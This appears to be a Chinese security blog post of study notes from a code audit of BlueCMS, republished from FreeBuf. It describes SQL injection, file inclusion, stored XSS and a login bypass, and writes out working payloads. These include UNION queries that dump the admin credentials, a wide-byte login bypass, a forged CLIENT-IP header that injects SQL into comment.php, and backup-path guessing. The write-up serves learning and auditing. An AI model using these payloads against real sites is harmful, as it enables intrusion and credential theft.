ad_js.php sql,BlueCMS审计学习笔记

本文是一篇关于BlueCMS的安全审计学习笔记,涵盖了审计流程、思路与实践案例。作者通过分析项目结构、配置文件、功能点,发现了SQL注入、文件包含漏洞、XSS等安全问题,并详细介绍了利用和修复方法,包括评论区的IP控制、头像上传的图片马利用等。此外,还讨论了注册、登录、数据库备份等模块的安全隐患。
摘要由CSDN通过智能技术生成

原标题:BlueCMS审计学习笔记

这篇只能算是学习笔记,因为bluecms是我第一次审计的CMS,所以参考了不少前辈们的经验。参考文章于文末给出。算是一个记录了我的学习心得,学习的过程的文章。

一.实践总结:

1.可以按照功能点审计,比如评论处是否支持匿名,有没有获取ip处存在sql注入(X-FORWARD-FOR),头像处能否上传图片马;

2.文件包含漏洞除了可以爆关键文件外,也可以和其它漏洞结合(比如图片上传马);

3.对项目结构要有了解,include一般为配置文件所在。可以首先去配置文件中看有没有统一过滤(对get,post,request等),其次看能不能绕过,有没有遗漏;

4.但凡没有使用单引号的变量都可以绕过魔术引号的转译;

5.代码审计从有输入的地方入手。二.思路总结

1.分析项目结构,分析配置文件(是否存在统一过滤)

2.根据统一过滤存在的绕过问题,遗漏的变量进行代码审计(例如:查找没有用单引号处理的变量)

3.剩余根据功能点进行审计:首先对一个项目的功能点进行总结。例如:注册,登录,评论,发表文章,头像上传,数据库备份,文件上传查看对应代码处是否存在漏洞

4.对个别文件进行通读(尤其注意有输入的地方)。如user.php

5.搜索危险函数三.实践

分析项目结构:

1c003d37c137e1e3ba2bbd6a7769ad9b.png

/admin为后台管理员

/include包含全局的文件,有函数定义的文件,数据库配置,统一过滤配置文件

/install安装

分析配置文件:

思路1:关键字$_GET,$_POST等搜索,看有无过滤

思路2:看主页index包含了哪些配置文件

common.inc.php

对配置文件进行审计,在include文件夹下common.inc.php文件中发现

19073d49e762f74b558693d485ff9898.png

存在统一过滤。以上的统一过滤只有在变量被单引号括起来的时候有效。进行分析后发现遗漏了$_SERVER(伪造client-ip和x-forwarded-for)

*$_SERVER没有过滤可以全局搜搜getip类似的函数名,查看代码如何获取ip

1.可以重复安装

对关键文件Instll.lock进行分析(如果存在这个文件则不能重复安装,跳转到首页)

26e62b99a60deb8d6dcdad2337be2cfd.png

首先,对Install.lock全局搜索

发现install.lock文件的处理有逻辑错误

对应代码

680c66e0494d7a5b43e2e72d777d4ca3.png

代码分析

is_writeable函数官方说明:如果文件 filename 存在并且可写则返回 TRUE。即install.lock文件并没创建成功

2.ad_js.php

按照配置文档的审计:统一过滤存在绕过问题

全局审计到存在SQL注入的地方,变量没有过滤(双引号,addslash)

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

跟踪$ad_id

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

getone函数

使用元数据表爆出表名

ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database

爆出字段

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

获取用户名密码

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin 3.ann.php

存在注入的两条语句

$current_act = $db->getfirst("SELECT cat_name FROM ".table('ann_cat')."WHERE cid=".$cid);

$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id =".$ann_id);

getfirst函数

*和getone函数功能一样,均为执行查询只是返回值不同为变量

538901e56fef97b89b0e76d79ba0c701.png

cid和ann_id被赋值过程

被intval处理过了,不能注入

备注:学习intval特性可能导致安全漏洞http://huaidan.org/archives/3047.html

同理无法注入的部分:

1.command.php里的两条sql

4.user.php

按照功能审计:支付功能

(1)act=pay时的文件包含漏洞

存在文件包含漏洞

2782d9078e02ea650cc9c5a8f97f0d4e.png

漏洞利用BurpSuite抓包:

e938cf6b7aaf889764360a19f6eb39e4.png

7695b4980fe46da5ed69229cf9a73d15.png

利用结合:头像上传,上传图片马然后执行

(2)@unlink(BLUE_ROOT.$_POST['face_pic3'])

839a13738fa2c22e2d1e7fa9123ce281.png

5.article.php

26dd1ec5b28f21c6ff9edf95e67242e3.png

6.user.php

按照功能审计:用户注册,登录,编辑个人资料

学习:https://www.freebuf.com/articles/web/203795.html?utm_source=tuicool&utm_medium=referral

(1)注册存在注入漏洞(SQL和XSS)

先黑盒测试注册抓包

2b903829dec75f667145c97336948686.png

然后再去审计工具找对应代码

2a804e4115bee48d4937f1ea3100e689.png

没有对XSS的相关符号进行过滤。存在存储型XSS

a28eb70664e5f44506b6bd99d5f5eb7f.png

注入后效果:

beac087206ac9a5843c17d77a7a96af8.png

注册对应SQL语句

a1b4b184d1a5d0b74ccd42aec1e4fc02.png

构建payload

%df',1,1),(100,0x6162717765,md5(123456),(select database),1,1)#

其中(100,0×6162717765,md5(123456),(select database),1,1)为创建的新用户,100为uid,十六进制为用户名

*补充知识:updatexml,extractvalue报错型SQL注入

https://blkstone.github.io/2017/11/09/updatexml-sqli/

(2)登录处存在注入漏洞(SQL和XSS)

黑盒+白盒审计能否无验证登录任意账户

首先黑盒测试抓包

6bdcdab1d132c77530235bb71c848c11.png

白盒找变量处理对应代码

8c85a935f8719ba0981894cd9cb4f8a6.png

login函数

9752fde62042bc4ebfe1fa7fe8c80253.png

没有什么过滤。用万能密码登录测试

payload:

%df’) or 1=1#

48165538df6c9262fabf903e29ccd2ea.png

(3)编辑个人资料

白盒至个人资料处,检查是否存在XSS漏洞。查看对应代码处

97d270953a746159eeae89b264cabd1e.png

通注册一样的,email注入xss(其他字段长度受限)

(4)新闻添加处

对htmlspeciachars发现,de和content没有进行过滤

8352e0814799610378ab31583cce5ccb.png

filter_data函数

055b6094dee9db031c869fa26890fd5e.png

可以进行绕过的。正则表达式表示过滤掉除了之间模式匹配的的内容(

mb_substr函数获取字符串的一部分,

$de = !empty($_POST['de']) ?mb_substr($_POST['de'], 0, 90) :mb_substr(html2text($_POST['content']),0, 90);

mb_substr($_POST['de'], 0, 90)表示从0位置开始取90个长度。可以直接注入XSS

效果图如下

99c3bf58c5118dd55bf9451c563a7c4d.png

(5)用户头像处

图片马的制作及菜刀的使用

7.comment.php

按照功能审计:评论

对评论处发现支持匿名评论

854c45dedf0c9f1d74200b2bc4594135.png

BurpSuite抓包如图,到comment.php下 寻找对应act=send处的代码

分析其中:

(1)SQL插入处没有过滤

(2)对comment部分的过滤有:htmlspecialchars

(3)ip获取处是getip函数

*htmlspecialchars是将特殊字符转为html实体,如& ” ‘ < >

*nl2br是在加html的换行符的

查找其中getip函数

d83991ba3827a43819085c825dc7331b.png

可以利用X-FORWARDED_FOR控制ip传参(用sqlmap)

然后我把请求头保存至bluecms_1.txt中(如下)

POST /comment.php?act=send HTTP/1.1

Host: 192.168.1.134

CLIENT-IP: 1','2' ),("",'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:http://192.168.1.134/comment.php?id=1&type=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 119

Connection: close

Cookie: PHPSESSID=fd016adb291716840e559d1873ecc817

Upgrade-Insecure-Requests: 1

mood=1&comment=%CF%CC%D3%E3%D3%E3&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB

#

成功注入图:

47e6d27dd11fa3237fcd65fce4dca801.png

8.数据库备份处可以爆破地址

按照功能审计:数据库备份

直接黑盒测试功能审计,备份好数据库后,发现数据库名称直接是日期。尝试爆破地址

http://192.168.1.133/data/backup/20190629.sql

可以访问。爆出了管理员用户名密码

参考文章列表:

*本文作者:Aerial,转载请注明来自FreeBuf.COM返回搜狐,查看更多

责任编辑:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值